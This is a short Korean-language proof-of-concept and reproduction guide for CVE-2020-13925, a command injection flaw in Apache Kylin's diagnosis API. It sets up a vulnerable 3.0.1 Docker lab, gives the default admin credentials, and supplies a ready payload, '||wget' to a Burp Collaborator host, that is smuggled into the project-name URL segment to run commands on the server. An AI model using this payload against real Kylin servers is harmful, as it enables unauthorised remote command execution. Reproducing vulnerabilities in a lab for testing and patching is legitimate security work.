
CVE-2020-13925에 대한 PoC 및 재현 가이드 - Apache Kylin의 진단 API에서의 명령 삽입 취약점, Docker 기반 실험실 설정 및 익스플로잇 단계 포함.
https://github.com/apache/kylin 를 참조하여 docker를 사용해 환경을 배포하고, 버전을 3.0.1(취약한 버전)로 수정합니다. -m 8G \는 메모리 할당 크기를 지정하는 것으로 제거해도 됩니다.
그런 다음 http://host:7070/kylin/login 에 접속합니다. 초기 사용자 이름과 비밀번호는 ADMIN/KYLIN입니다.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
원본 요청:
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC 요청, GET 메서드:
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
즉, 프로젝트 이름 "learn_kylin"을 다음 페이로드로 대체하여 접속하면 됩니다:
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
System → Configuration → Diagnosis 로 이동합니다. 진단 정보 다운로드 요청을 트리거합니다. http://host:port/kylin/api/diag/project/learn_kylin/download

즉, 프로젝트 이름 "learn_kylin"을 위의 페이로드로 대체하여 접속하면 됩니다.
